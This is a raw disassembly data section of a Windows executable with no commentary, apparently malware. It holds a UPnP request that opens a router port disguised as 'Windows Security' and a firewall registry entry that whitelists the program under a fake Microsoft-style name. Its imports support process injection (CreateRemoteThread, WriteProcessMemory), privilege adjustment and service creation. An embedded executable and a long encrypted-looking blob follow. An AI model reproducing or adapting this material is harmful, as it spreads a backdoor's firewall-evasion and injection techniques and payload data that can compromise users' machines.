		db '<s:Body>',0Dh,0Ah
		db '<u:AddPortMapping',0Dh,0Ah
		db 'xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">',0Dh,0Ah
		db '<NewRemoteHost></NewRemoteHost>',0Dh,0Ah
		db '<NewExternalPort>%i</NewExternalPort>',0Dh,0Ah
		db '<NewProtocol>TCP</NewProtocol>',0Dh,0Ah
		db '<NewInternalPort>%i</NewInternalPort>',0Dh,0Ah
		db '<NewEnabled>1</NewEnabled>',0Dh,0Ah
		db '<NewPortMappingDescription>Windows Security</NewPortMappingDescri'
		db 'ption>',0Dh,0Ah
		db '<NewLeaseDuration>0</NewLeaseDuration>',0Dh,0Ah
		db '</u:AddPortMapping>',0Dh,0Ah
		db '</s:Body>',0Dh,0Ah
		db '</s:Envelope>',0
a200_0		db '200',0
		db 0Ah,0
aHttpDiscover_1	db 'HTTP discovery request [%s:%i]: received: %i...',0Ah,0
aGetSHttp1_1H_0	db 'GET %s HTTP/1.1',0Dh,0Ah
		db 'HOST: %s:%i',0Dh,0Ah
		db 'ACCEPT-LANGUAGE: en',0Dh,0Ah
		db 0Dh,0Ah,0
aHttpDiscover_2	db 'HTTP discovery request: [%s:%i]...',0Ah,0
aHttp_0		db 'http://',0
a__0		db '.',0
a6ea9b038C801_0	db '{6EA9B038-C801-4F76-805F-E41ACF9ED165}',0
aSystemCurren_4	db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
		db 'lPolicy\StandardProfile\AuthorizedApplications\List',0
aWindowsNetwo_0	db 'Windows Network Management and Security Layer',0
aEnabled_0	db ':*:Enabled:',0
aHandshakeBad_0	db 'Handshake: bad version (%i)',0Ah,0
aHandshakeBad_1	db 'Handshake: bad packed (%i)',0Ah,0
aHandshakeRec_0	db 'Handshake: recv() error',0Ah,0
aProtorecvDat_0	db 'protorecv(): data size: %i (of %i)',0Ah,0
aPktrecvPacke_0	db 'PktRecv(): packetId: 0x%03x',0Ah,0
aPktrecvInval_0	db 'PktRecv(): invalid signature (%i)',0Ah,0
aPktsendIIByt_0	db 'PktSend(%i): %i bytes',0Ah,0
aSIsS_0		db '%s is %s',0Ah,0
aWinsock2_xIn_0	db 'WinSock 2.x initialized.',0Ah,0
aWinsock1_1In_0	db 'WinSock 1.1 initialized.',0Ah,0
aA_0		db 'a',0
aPm_0		db 'PM',0
aAm_0		db 'AM',0
a02i02i02iIII_0	db '%02i/%02i/%02i %i:%i:%i%s',0
aS_3		db '%s',0
		dw 0FF00h
		dd 0FFFFFFh, 0EA000000h, 0FF004074h, 0FFFFFFh, 0EB000000h
		dd 0FF004076h, 0FFFFFFh, 0EE000000h, 0FF004077h, 0FFFFFFh
		dd 3D000000h, 0FF004079h, 58FFFFFFh, 7300407Ch,	0FF00407Ch
		dd 0FFFFFFh, 0ED000000h, 0FF00407Dh, 15FFFFFFh,	3000407Fh
		dd 407Fh, 0FF000040h, 0FFFFFFh,	8E000000h, 0BC004085h
		dd 72004086h, 2	dup(0A2004086h), 5 dup(72004086h), 0AF004086h
		dd 72004086h, 2	dup(82004086h),	0F0004086h, 0A2004086h
		dd 0C9004086h, 3 dup(92004086h), 72004086h, 0E3004086h
		dd 3 dup(72004086h), 82004086h,	0A2004086h, 17004086h
		dd 82004087h, 10h dup(0A2004086h), 72004086h, 0A2004086h
		dd 10h dup(72004086h), 82004086h, 0Bh dup(72004086h), 0A2004086h
		dd 72004086h, 82004086h, 0A2004086h, 0A004086h,	72004087h
		dd 72004086h, 0FD004086h, 72004086h, 0C9004086h, 2 dup(0D6004086h)
		dd 0C9004086h, 72004086h, 0A2004086h, 0BC004086h, 4 dup(72004086h)
		dd 0Fh dup(0E3004086h),	3 dup(72004086h), 82004086h, 8 dup(72004086h)
		dd 0AF004086h, 20004086h, 30232D2Bh, 1000000h, 2000000h
		dd 4000000h, 8000000h, 10000000h, 0
		dd 68000000h, 7A746C6Ah, 4300004Ch, 4E494E4Fh, 4F430024h
		dd 54554F4Eh, 24h, 0FF000000h, 0FFFFFFh, 14h dup(0)
		dd 10020000h, 3	dup(10001000h),	30001000h, 30003001h, 30003000h
		dd 9 dup(10001000h), 80004000h,	7 dup(80008000h), 5 dup(3000300h)
		dd 3 dup(80008000h), 0A008000h,	2 dup(0A000A00h), 8000A00h
		dd 9 dup(8000800h), 80000800h, 2 dup(80008000h), 6008000h
		dd 2 dup(6000600h), 4000600h, 9	dup(4000400h), 80000400h
		dd 80008000h, 10008000h, 40h dup(0)
		dd 97000000h, 0C70040A3h, 2 dup(0C70040A6h), 970040A6h
		dd 3 dup(970040A3h), 0C70040A3h, 1C0040A6h, 8B0040A0h
		dd 970040A0h, 2	dup(970040A3h),	0C70040A3h, 8B0040A6h
		dd 0C70040A0h, 3 dup(0C70040A6h), 590040A6h, 230040A4h
		dd 910040A2h, 0C70040A5h, 0C70040A6h, 0EF0040A6h, 0C70040A5h
		dd 230040A6h, 0C70040A2h, 0C70040A6h, 230040A6h, 280040A2h
		dd 6C6C756Eh, 20000029h, 7 dup(20202020h), 202020h, 8 dup(30303030h)
		dd 2 dup(0)
		dd 1000000h, 2000000h, 0
		dd 1E00000h, 3E002E0h, 5E004E0h, 7E006E0h, 9E008E0h, 0BE00AE0h
		dd 0DE00CE0h, 0FE00EE0h, 11E010E0h, 13E012E0h, 15E014E0h
		dd 17E016E0h, 19E018E0h, 1BE01AE0h, 1DE01CE0h, 1FE01EE0h
		dd 21E020E0h, 23E022E0h, 25E024E0h, 27E026E0h, 29E028E0h
		dd 2BE02AE0h, 2DE02CE0h, 2FE02EE0h, 31E030E0h, 33E032E0h
		dd 35E034E0h, 37E036E0h, 39E038E0h, 3BE03AE0h, 3DE03CE0h
		dd 3FE03EE0h, 41E040E0h, 43E042E0h, 45E044E0h, 47E046E0h
		dd 49E048E0h, 4BE04AE0h, 4DE04CE0h, 4FE04EE0h, 51E050E0h
		dd 53E052E0h, 55E054E0h, 57E056E0h, 59E058E0h, 5BE05AE0h
		dd 5DE05CE0h, 5FE05EE0h, 61E060E0h, 63E062E0h, 65E064E0h
		dd 67E066E0h, 69E068E0h, 6BE06AE0h, 6DE06CE0h, 6FE06EE0h
		dd 71E070E0h, 73E072E0h, 75E074E0h, 77E076E0h, 79E078E0h
		dd 7BE07AE0h, 7DE07CE0h, 7FE07EE0h, 81E080E0h, 83E082E0h
		dd 85E084E0h, 87E086E0h, 89E088E0h, 8BE08AE0h, 8DE08CE0h
		dd 8FE08EE0h, 91E090E0h, 93E092E0h, 95E094E0h, 97E096E0h
		dd 99E098E0h, 9BE09AE0h, 9DE09CE0h, 9FE09EE0h, 0A1E0A0E0h
		dd 0A3E0A2E0h, 0A5E0A4E0h, 0A7E0A6E0h, 0A9E0A8E0h, 0ABE0AAE0h
		dd 0ADE0ACE0h, 0AFE0AEE0h, 0B1E0B0E0h, 0B3E0B2E0h, 0B5E0B4E0h
		dd 0B7E0B6E0h, 0B9E0B8E0h, 0BBE0BAE0h, 0BDE0BCE0h, 0BFE0BEE0h
		dd 0C1E0C0E0h, 0C3E0C2E0h, 0C5E0C4E0h, 0C7E0C6E0h, 0C9E0C8E0h
		dd 0CBE0CAE0h, 0CDE0CCE0h, 0CFE0CEE0h, 0D1E0D0E0h, 0D3E0D2E0h
		dd 0D5E0D4E0h, 0D7E0D6E0h, 0D9E0D8E0h, 0DBE0DAE0h, 0DDE0DCE0h
		dd 0DFE0DEE0h, 0E1E0E0E0h, 0E3E0E2E0h, 0E5E0E4E0h, 0E7E0E6E0h
		dd 0E9E0E8E0h, 0EBE0EAE0h, 0EDE0ECE0h, 0EFE0EEE0h, 0F1E0F0E0h
		dd 0F3E0F2E0h, 0F5E0F4E0h, 0F7E0F6E0h, 0F9E0F8E0h, 0FBE0FAE0h
		dd 0FDE0FCE0h, 0FFE0FEE0h, 280000E0h, 75006E00h, 6C006C00h
		dd 2900h, 30000000h, 34333231h,	38373635h, 63626139h, 666564h
		dd 33323130h, 37363534h, 42413938h, 46454443h, 2 dup(0)
		dd offset loc_4023FB+5
		dd 0
		dd offset loc_405900
		dd 0
		dd offset loc_40C385+3
		dd 84000000h, 4197D7h, 7937E080h, 174341C3h, 0B5B5056Eh
		dd 0F54693B8h, 3E93FF9h, 324D384Fh, 48F9301Dh, 3C5A8277h
		dd 0DD7F73BFh, 75154Fh,	84000000h, 4197D7h, 0
		dd 3FF000h, 0
		dd 30000000h, 34333231h, 38373635h, 43424139h, 464544h
		dd 33323130h, 37363534h, 62613938h, 66656463h, 464E4900h
		dd 666E6900h, 4E414E00h, 6E616E00h, 0D8000000h,	0F30040C0h
		dd 0CF0040C0h, 0F30040C0h, 0BA0040C0h, 0F30040C0h, 0C60040C0h
		dd 2 dup(0F30040C0h), 0E10040C0h, 200040C0h, 74202D2Dh
		dd 696D7265h, 6974616Eh, 0A676Eh, 6E676973h, 23206C61h
		dd 72657400h, 616E696Dh, 6E6F6974h, 71657220h, 74736575h
		dd 766E6900h, 64696C61h, 6F747320h, 65676172h, 63636120h
		dd 737365h, 65746E69h, 70757272h, 6E6F6974h, 766E6900h
		dd 64696C61h, 65786520h, 61747563h, 20656C62h, 65646F63h
		dd 69726100h, 656D6874h, 20636974h, 6F727265h, 62610072h
		dd 74726Fh, 3 dup(0)
		dd 30000000h, 0
		dd 2Eh,	19h dup(0)
		dd 5A000000h, 2	dup(5B5B5B5Bh),	5Bh, 57h dup(0)
		dd 50000000h, 0Dh dup(0)
		dd 8000000h, 10000000h,	20000000h, 40000000h, 80000000h
		dd 0
		dd 1, 2, 4, 0
		dd 20000000h, 199305h, 2 dup(0)
		dd 40000000h, 28004128h, 10004128h, 0F8004128h,	4127h
		dd 1Ah dup(0)
		dd 1000000h, 0
		dd 0D8000000h, 0D9004112h, 4 dup(0D8004112h), 0B8004112h
		dd 4112h, 9 dup(0)
		dd 2000000h, 1000008h, 24000000h, 25004113h, 4 dup(24004113h)
		dd 4004113h, 4113h, 9 dup(0)
		dd 2000000h, 2000008h, 40000000h, 90004112h, 3 dup(40004112h)
		dd 70004112h, 50004113h, 4113h,	9 dup(0)
		align 10h
		dd 0DC004112h, 28004112h, 4113h, 0FCh dup(0)
		dd 0FF000000h, 5FFFFFFh, 0BC00000h, 1D000000h, 4C00000h
		dd 96000000h, 4C00000h,	8D000000h, 8C00000h, 8E000000h
		dd 8C00000h, 8F000000h,	8C00000h, 90000000h, 8C00000h
		dd 91000000h, 8C00000h,	92000000h, 8C00000h, 93000000h
		dd 8C00000h, 8 dup(0)
		dd 4, 2Bh dup(0)
		dd 5C000000h, 6A0040FBh, 40FBh,	3000000h, 46000000h, 40FEh
		dd 0Eh dup(0)
		dd 46000000h, 40FEh, 0Eh dup(0)
		dd 46000000h, 40FEh, 0Eh dup(0)
		dd 46000000h, 40FEh, 0Eh dup(0)
		dd 0CC000000h, 6 dup(0CC004101h), 7F004101h, 3 dup(7F7F7F7Fh)
		dd 0CD00007Fh, 2 dup(0CC004101h), 4101h, 0
		dd 7FF000h, 0
		dd 7FF800h, 0
		dd 3C9000h, 0
		dd 3E4000h, 0
		dd offset loc_4031FF+1
		dd 0
		dd 88000000h, 11Ah, 0
		dd 0B2000000h, 0C8000122h, 0E800011Ch, 11Bh, 0
		dd 0B6000000h, 28000124h, 4C00011Eh, 11Ch, 0
		dd 20000000h, 8C000125h, 0AC00011Eh, 11Ch, 0
		dd 40000000h, 0EC000125h, 0B400011Eh, 11Ch, 0
		dd 9C000000h, 0F4000125h, 11Eh,	4 dup(0)
		dd 8000000h, 1800011Fh,	3400011Fh, 4C00011Fh, 6400011Fh
		dd 7400011Fh, 8400011Fh, 9A00011Fh, 0A800011Fh,	0BE00011Fh
		dd 0CE00011Fh, 0DE00011Fh, 0F000011Fh, 400011Fh, 12000120h
		dd 24000120h, 2C000120h, 42000120h, 52000120h, 60000120h
		dd 72000120h, 82000120h, 90000120h, 0A0000120h,	0B4000120h
		dd 0C0000120h, 0D6000120h, 0F0000120h, 0FE000120h, 14000120h
		dd 20000121h, 2C000121h, 3C000121h, 48000121h, 62000121h
		dd 78000121h, 86000121h, 96000121h, 0A8000121h,	0B8000121h
		dd 0C8000121h, 0DC000121h, 0EE000121h, 2000121h, 14000122h
		dd 2A000122h, 40000122h, 4E000122h, 62000122h, 7E000122h
		dd 90000122h, 0A0000122h, 0A8000122h, 0B8000125h, 0C6000125h
		dd 0D6000125h, 0E6000125h, 0F4000125h, 6000125h, 12000126h
		dd 20000126h, 2E000126h, 3A000126h, 48000126h, 54000126h
		dd 60000126h, 70000126h, 88000126h, 96000126h, 0A2000126h
		dd 0B8000126h, 0C2000126h, 0D0000126h, 0EC000126h, 6000126h
		dd 14000127h, 26000127h, 38000127h, 50000127h, 6A000127h
		dd 7A000127h, 8A000127h, 96000127h, 0A6000127h,	0BE000127h
		dd 0D0000127h, 0DC000127h, 127h, 0C0000000h, 0D2000122h
		dd 0E4000122h, 0F2000122h, 2000122h, 12000123h,	32000123h
		dd 4E000123h, 5E000123h, 70000123h, 80000123h, 96000123h
		dd 0AC000123h, 0C4000123h, 0DC000123h, 0EC000123h, 0FE000123h
		dd 0E000123h, 22000124h, 36000124h, 54000124h, 72000124h
		dd 8A000124h, 9E000124h, 124h, 73000000h, 74800000h, 17800000h
		dd 15800000h, 3800000h,	12800000h, 0C800000h, 9800000h
		dd 4800000h, 2800000h, 0D800000h, 1800000h, 0F800000h
		dd 10800000h, 13800000h, 0A800000h, 34800000h, 6800000h
		dd 39800000h, 0B800000h, 14800000h, 11800000h, 6F800000h
		dd 800000h, 2C000000h, 125h, 4E000000h,	5E000125h, 72000125h
		dd 88000125h, 125h, 8000000h, 1800011Fh, 3400011Fh, 4C00011Fh
		dd 6400011Fh, 7400011Fh, 8400011Fh, 9A00011Fh, 0A800011Fh
		dd 0BE00011Fh, 0CE00011Fh, 0DE00011Fh, 0F000011Fh, 400011Fh
		dd 12000120h, 24000120h, 2C000120h, 42000120h, 52000120h
		dd 60000120h, 72000120h, 82000120h, 90000120h, 0A0000120h
		dd 0B4000120h, 0C0000120h, 0D6000120h, 0F0000120h, 0FE000120h
		dd 14000120h, 20000121h, 2C000121h, 3C000121h, 48000121h
		dd 62000121h, 78000121h, 86000121h, 96000121h, 0A8000121h
		dd 0B8000121h, 0C8000121h, 0DC000121h, 0EE000121h, 2000121h
		dd 14000122h, 2A000122h, 40000122h, 4E000122h, 62000122h
		dd 7E000122h, 90000122h, 0A0000122h, 0A8000122h, 0B8000125h
		dd 0C6000125h, 0D6000125h, 0E6000125h, 0F4000125h, 6000125h
		dd 12000126h, 20000126h, 2E000126h, 3A000126h, 48000126h
		dd 54000126h, 60000126h, 70000126h, 88000126h, 96000126h
		dd 0A2000126h, 0B8000126h, 0C2000126h, 0D0000126h, 0EC000126h
		dd 6000126h, 14000127h,	26000127h, 38000127h, 50000127h
		dd 6A000127h, 7A000127h, 8A000127h, 96000127h, 0A6000127h
		dd 0BE000127h, 0D0000127h, 0DC000127h, 127h, 0C0000000h
		dd 0D2000122h, 0E4000122h, 0F2000122h, 2000122h, 12000123h
		dd 32000123h, 4E000123h, 5E000123h, 70000123h, 80000123h
		dd 96000123h, 0AC000123h, 0C4000123h, 0DC000123h, 0EC000123h
		dd 0FE000123h, 0E000123h, 22000124h, 36000124h,	54000124h
		dd 72000124h, 8A000124h, 9E000124h, 124h, 73000000h, 74800000h
		dd 17800000h, 15800000h, 3800000h, 12800000h, 0C800000h
		dd 9800000h, 4800000h, 2800000h, 0D800000h, 1800000h, 0F800000h
		dd 10800000h, 13800000h, 0A800000h, 34800000h, 6800000h
		dd 39800000h, 0B800000h, 14800000h, 11800000h, 6F800000h
		dd 800000h, 2C000000h, 125h, 4E000000h,	5E000125h, 72000125h
		dd 88000125h, 125h, 0
		db    0
aGettickcount	db 'GetTickCount',0
		align 4
		db    0
aInitializecrit	db 'InitializeCriticalSection',0
		align 10h
		db    0
aEntercriticals	db 'EnterCriticalSection',0
		align 4
		db    0
aLeavecriticals	db 'LeaveCriticalSection',0
		align 10h
		db    0
aGetstdhandle	db 'GetStdHandle',0
		align 10h
		db    0
aGetlocaltime	db 'GetLocalTime',0
		align 10h
		db    0
aGetmodulefilen	db 'GetModuleFileNameA',0
		db    0
		db 2 dup(0), 4Ch
aOcalalloc	db 'ocalAlloc',0
		align 4
		db    0
aCreatefilemapp	db 'CreateFileMappingA',0
		db    0
		db 2 dup(0), 47h
aEtlasterror	db 'etLastError',0
		db    0
		db 2 dup(0), 4Dh
aApviewoffile	db 'apViewOfFile',0
		db 2 dup(0), 55h
aNmapviewoffile	db 'nmapViewOfFile',0
		align 4
		db    0
aOpenfilemappin	db 'OpenFileMappingA',0
		align 10h
		dd 6F6C4300h, 61486573h, 656C646Eh, 43000000h, 61706D6Fh
		dd 74536572h, 676E6972h, 41h, 656C5300h, 7065h,	746E4900h
		dd 6F6C7265h, 64656B63h, 68637845h, 65676E61h, 43000000h
		dd 74616572h, 74754D65h, 417865h, 4F000000h, 4D6E6570h
		dd 78657475h, 41h, 65724300h, 50657461h, 65636F72h, 417373h
		dd 53000000h, 614C7465h, 72457473h, 726F72h, 44000000h
		dd 74656C65h, 6C694665h, 4165h,	74654700h, 706D6554h, 68746150h
		dd 41h,	74654700h, 706D6554h, 656C6946h, 656D614Eh, 41h
		dd 706F4300h, 6C694679h, 4165h,	74655300h, 656C6946h, 72747441h
		dd 74756269h, 417365h, 49000000h, 7265746Eh, 6B636F6Ch
		dd 78456465h, 6E616863h, 64416567h, 64h, 69784500h, 6F725074h
		dd 73736563h, 57000000h, 46746961h, 6953726Fh, 656C676Eh
		dd 656A624Fh, 7463h, 74736C00h,	706D6372h, 4169h, 74736C00h
		dd 79706372h, 416Eh, 65724300h,	45657461h, 746E6576h, 41h
		dd 74655300h, 6E657645h, 74h, 69615700h, 726F4674h, 746C754Dh
		dd 656C7069h, 656A624Fh, 737463h, 47000000h, 69467465h
		dd 7441656Ch, 62697274h, 73657475h, 41h, 73655200h, 76457465h
		dd 746E65h, 46000000h, 52646E69h, 756F7365h, 41656372h
		dd 53000000h, 6F657A69h, 73655266h, 6372756Fh, 65h, 616F4C00h
		dd 73655264h, 6372756Fh, 65h, 636F4C00h, 7365526Bh, 6372756Fh
		dd 65h,	74654700h, 72727543h, 50746E65h, 65636F72h, 7373h
		dd 72695600h, 6C617574h, 6F6C6C41h, 784563h, 47000000h
		dd 6F4D7465h, 656C7564h, 646E6148h, 41656Ch, 47000000h
		dd 72507465h, 6441636Fh, 73657264h, 73h, 69725700h, 72506574h
		dd 7365636Fh, 6D654D73h, 79726Fh, 43000000h, 74616572h
		dd 6D655265h, 5465746Fh, 61657268h, 64h, 65704F00h, 6F72506Eh
		dd 73736563h, 47000000h, 78457465h, 6F437469h, 68546564h
		dd 64616572h, 43000000h, 74616572h, 6F6F5465h, 6C65686Ch
		dd 53323370h, 7370616Eh, 746F68h, 50000000h, 65636F72h
		dd 32337373h, 73726946h, 74h, 6F725000h, 73736563h, 654E3233h
		dd 7478h, 74654700h, 6D6D6F43h,	4C646E61h, 41656E69h, 52454B00h
		dd 334C454Eh, 6C642E32h, 6Ch, 67655200h, 61657243h, 654B6574h
		dd 41784579h, 52000000h, 65536765h, 6C615674h, 78456575h
		dd 41h,	67655200h, 736F6C43h, 79654B65h, 52000000h, 704F6765h
		dd 654B6E65h, 41784579h, 52000000h, 65446765h, 6574656Ch
		dd 4179654Bh, 49000000h, 6974696Eh, 7A696C61h, 63655365h
		dd 74697275h, 73654479h, 70697263h, 726F74h, 53000000h
		dd 65537465h, 69727563h, 65447974h, 69726373h, 726F7470h
		dd 6C636144h, 47000000h, 73557465h, 614E7265h, 41656Dh
		dd 4F000000h, 536E6570h, 6E614D43h, 72656761h, 41h, 65704F00h
		dd 7265536Eh, 65636976h, 41h, 6F6C4300h, 65536573h, 63697672h
		dd 6E614865h, 656C64h, 51000000h, 79726575h, 76726553h
		dd 53656369h, 75746174h, 73h, 61684300h, 5365676Eh, 69767265h
		dd 6F436563h, 6769666Eh, 41h, 61684300h, 5365676Eh, 69767265h
		dd 6F436563h, 6769666Eh, 4132h,	61745300h, 65537472h, 63697672h
		dd 4165h, 65724300h, 53657461h,	69767265h, 416563h, 44000000h
		dd 74656C65h, 72655365h, 65636976h, 52000000h, 75516765h
		dd 56797265h, 65756C61h, 417845h, 53000000h, 65537465h
		dd 63697672h, 61745365h, 737574h, 52000000h, 73696765h
		dd 53726574h, 69767265h, 74436563h, 61486C72h, 656C646Eh
		dd 4172h, 61745300h, 65537472h,	63697672h, 72744365h, 7369446Ch
		dd 63746170h, 41726568h, 4C000000h, 756B6F6Fh, 69725070h
		dd 656C6976h, 61566567h, 4165756Ch, 4F000000h, 506E6570h
		dd 65636F72h, 6F547373h, 6E656Bh, 41000000h, 73756A64h
		dd 6B6F5474h, 72506E65h, 6C697669h, 73656765h, 56444100h
		dd 33495041h, 6C642E32h, 7300006Ch, 74000000h, 17000000h
		dd 15000000h, 3000000h,	12000000h, 0C000000h, 9000000h
		dd 4000000h, 2000000h, 0D000000h, 1000000h, 0F000000h
		dd 10000000h, 13000000h, 0A000000h, 34000000h, 6000000h
		dd 39000000h, 0B000000h, 14000000h, 11000000h, 6F000000h
		dd 57000000h, 4B434F53h, 642E3233h, 6C6Ch, 74654700h, 6F467049h
		dd 72617772h, 62615464h, 6900656Ch, 706C6870h, 2E697061h
		dd 6C6C64h, 49000000h, 7265746Eh, 4F74656Eh, 416E6570h
		dd 49000000h, 7265746Eh, 4F74656Eh, 556E6570h, 416C72h
		dd 49000000h, 7265746Eh, 4374656Eh, 65736F6Ch, 646E6148h
		dd 656Ch, 746E4900h, 656E7265h,	61655274h, 6C694664h, 57000065h
		dd 4E494E49h, 642E5445h, 6C6Ch,	69725700h, 6F436574h, 6C6F736Eh
		dd 4165h, 736C5400h, 56746553h,	65756C61h, 43000000h, 74616572h
		dd 72685465h, 646165h, 52000000h, 6D757365h, 72685465h
		dd 646165h, 45000000h, 54746978h, 61657268h, 64h, 74654700h
		dd 72617453h, 49707574h, 416F666Eh, 52000000h, 6E556C74h
		dd 646E6977h, 48000000h, 43706165h, 74616572h, 65h, 61654800h
		dd 73654470h, 796F7274h, 48000000h, 41706165h, 636F6C6Ch
		dd 48000000h, 52706165h, 6C6C4165h, 636Fh, 61654800h, 65724670h
		dd 65h,	61654800h, 7A695370h, 65h, 61654800h, 6C615670h
		dd 74616469h, 65h, 6C654400h, 43657465h, 69746972h, 536C6163h
		dd 69746365h, 6E6Fh, 65724300h,	46657461h, 41656C69h, 54000000h
		dd 6C41736Ch, 636F6Ch, 47000000h, 75437465h, 6E657272h
		dd 72685474h, 49646165h, 64h, 736C5400h, 65657246h, 54000000h
		dd 6547736Ch, 6C615674h, 6575h,	686E5500h, 6C646E61h, 78456465h
		dd 74706563h, 466E6F69h, 65746C69h, 72h, 74654700h, 74737953h
		dd 69546D65h, 7341656Dh, 656C6946h, 656D6954h, 47000000h
		dd 69467465h, 7954656Ch, 6570h,	70754400h, 6163696Ch, 61486574h
		dd 656C646Eh, 53000000h, 61487465h, 656C646Eh, 6E756F43h
		dd 74h,	74654700h, 69766E45h, 6D6E6F72h, 53746E65h, 6E697274h
		dd 7367h, 65724600h, 766E4565h,	6E6F7269h, 746E656Dh, 69727453h
		dd 4173676Eh, 56000000h, 75747269h, 6C416C61h, 636F6Ch
		dd 56000000h, 75747269h, 75516C61h, 797265h, 57000000h
		dd 65746972h, 656C6946h, 53000000h, 74537465h, 6E614864h
		dd 656C64h, 53000000h, 6F437465h, 6C6F736Eh, 72744365h
		dd 6E61486Ch, 72656C64h, 53000000h, 69467465h, 6F50656Ch
		dd 65746E69h, 72h, 61655200h, 6C694664h, 65h, 74655300h
		dd 4F646E45h, 6C694666h, 65h, 5	dup(0)
		dd 21000000h, 47220Fh, 0
		dd 0A000100h, 18000000h, 800000h, 21000000h, 47220Fh, 0
		dd 41000100h, 3000001Fh, 800000h, 21000000h, 47220Fh, 0
		dd 19000100h, 48000004h, 58000000h, 78000140h, 172h, 0
		dd 4D000000h, 200505Ah,	4000000h, 0FF000F00h, 0B80000FFh
		dd 0
		dd 40000000h, 1A00h, 8 dup(0)
		dd 0BA000001h, 1F0E0010h, 21CD09B4h, 0CD4C01B8h, 54909021h
		dd 20736968h, 676F7270h, 206D6172h, 7473756Dh, 20656220h
		dd 206E7572h, 65646E75h, 69572072h, 0D32336Eh, 37240Ah
		dd 21h dup(0)
		dd 50000000h, 4C000045h, 301h, 2 dup(0)
		dd 0E0000000h, 0BA18E00h, 1, 2 dup(0)
		dd 5A000000h, 47Ch, 10h, 0
		dd 100000h, 10h, 2, 0
		dd 4000000h, 2 dup(0)
		db 90h
		db 4, 2	dup(0)
		dd 4, 2000000h,	0
		dd 1000h, 10h, 1000h, 10h, 10000000h, 2	dup(0)
		dd 38000000h, 28000480h, 6 dup(0)
		dd 60000000h, 10000480h, 14h dup(0)
		dd 44000000h, 304E4Dh, 0
		dd 300h, 10h, 4	dup(0)
		dd 60000000h, 44C00000h, 314E4Dh, 83000000h, 16Ch, 310h
		dd 16Eh, 4, 2 dup(0)
		dd 60000000h, 44E00000h, 324E4Dh, 78000000h, 0
		dd 78000480h, 0
		dd 172h, 2 dup(0)
		dd 60000000h, 0C00000h,	63h dup(0)
		dd 3B000000h, 0D9427152h, 4BFB7BADh, 0A7854EA6h, 33CC1754h
		dd 0FC0F3D7Bh, 64F5962Bh, 70B4AD4Eh, 6DD58C52h,	0FC4E6712h
		dd 0EAA04C07h, 0BCEEF05Ch, 0B1BDB012h, 0A110FF0h, 0FB0BA323h
		dd 31B910C8h, 0AFFAF24Eh, 584732A3h, 5AED0BF7h,	1A191728h
		dd 78E908C8h, 9089A928h, 0C35CC915h, 0AF7E890Fh, 18FC66C5h
		dd 9958AF6h, 4D4041E6h,	52B4B166h, 0BC76D3CAh, 9825FAE2h
		dd 0EFB8275Fh, 689930A2h, 900FE0F9h, 0C77F5797h, 0F60C14Dh
		dd 0AC921AD3h, 0ADF6AE2Bh, 9F68DF1Ah, 15BE4AAEh, 970FF995h
		dd 14744C3Ch, 6DFFF762h, 0AC4E9A69h, 0D094590Ah, 1DDAC94Eh
		dd 0A327311Ah, 0CE22333Ah, 0F12208ADh, 0E60E5A4Bh, 4F67F27Fh
		dd 0E196B055h, 77CAFFBBh, 0C3A4108Ch, 766E5E21h, 82A43606h
		dd 48AA1EC1h, 1F895AF3h, 72D5BEB6h, 63118D98h, 515EAC25h
		dd 0AFC681B0h, 19D0C9EEh, 0BBDA3964h, 90445904h, 58053052h
		dd 4E37A227h, 123DF96h,	4FD30801h, 0C16086E6h, 8B98CB8Fh
		dd 0EF074DFh, 0BC1DA8D2h, 928F36C7h, 8A37A7E6h,	84F73C7Ch
		dd 3E27C697h, 0FEA3887Ah, 1ADEEE2Bh, 0EEBAADABh, 4F6C75FEh
		dd 71E31CA0h, 0ADD6F599h, 0E014C58h, 0D6CC3694h, 42E3B151h
		dd 6F3BE040h, 4B946665h, 0BF176BBh, 77E56AF2h, 132BC172h
		dd 0A0B7BBCCh, 0D502B8A6h, 0A1031FFAh, 0F59FBBABh, 0D394E90Bh
		dd 0CA1BA7AAh, 3E57F938h, 471656D1h, 86EFD792h,	2CC824F8h
		dd 0F06467D9h, 0D2544DA9h, 0E0466219h, 2CB5B9B5h, 25106C47h
		dd 6AFB1F18h, 0A47962BEh, 307A21AEh, 9FC3173Eh,	99AFE33Dh
		dd 72836BE8h, 29F0B258h, 6BD753E7h, 2EB40BD9h, 942E5248h
		dd 10AA18E0h, 8754CCA9h, 0AC56824h, 0DACD3E11h,	82477BD2h
		dd 0F13C03AAh, 6AAE4FE8h, 36692BE9h, 20691A18h,	140750F2h
		dd 4BB9AB72h, 0BC693DFAh, 909965E6h, 0EEA1CDF6h, 259E0CADh
		dd 8C4D3077h, 0A107E14Eh, 359831F8h, 31C821DEh,	0C5C3768Bh
		dd 53FD9F22h, 5FCE8F9Ah, 21B3D63Ah, 0F253BA49h,	23B5920Ch
		dd 1D5E063Fh, 3D642BBEh, 0FC15A664h, 915BC4B5h,	0DB0F0050h
		dd 7FF63012h, 9D30B334h, 0E7038C36h, 0BE2CC0B7h, 178C6CDh
		dd 90C121ACh, 3BBBA585h, 0C8C35D48h, 0A62699D6h, 82E9C85Ah
		dd 7825384Ch, 0DEC589F4h, 3102E565h, 0D2F7518Dh, 0B4097AE8h
		dd 482AE860h, 0E43006E8h, 17721187h, 0EB4C89D3h, 0F44C1D3Bh
		dd 33B17501h, 0AE25948Fh, 0A678C52Eh, 3F755D17h, 1BC65018h
		dd 9FFF467Eh, 4D52F316h, 0DDAB539Fh, 0E48E7AA5h, 0FAE8BD4Eh
		dd 0F1E53C65h, 63EC00C9h, 736E504h, 4F85C291h, 0E608F7D2h
		dd 0D3FF902Fh, 715E88E4h, 5AACEC37h, 0AAA92BF9h, 0F2A19F50h
		dd 576C65FAh, 2D57F4ACh, 174CCA9h, 0C41F9B94h, 0CD6075B2h
		dd 5D3C3EBCh, 774FFF59h, 0EC5FA979h, 58885340h,	767022F0h
		dd 0E11AB2CBh, 85BA7C78h, 5B8CA609h, 4C856FA6h,	0B20FAAC8h
		dd 8D61C549h, 2783B9F9h, 22EDF3D8h, 52E3D163h, 9094657Ah
		dd 2635EC1Bh, 8C4D2E85h, 0A6B1DA6h, 0AFDC50F1h,	651AD103h
		dd 9DC7D47Fh, 5839D2D8h, 47973442h, 0D4639531h,	0A38372E0h
		dd 6A110357h, 40540613h, 211F098h, 9DB6BBA6h, 0D28C9975h
		dd 0F12E828Ah, 4B329EFDh, 290E158Dh, 474EB3Ch, 0C18C6586h
		dd 3FDBD20Bh, 4698EFA4h, 803368B0h, 8188513h, 0BFCEDBF5h
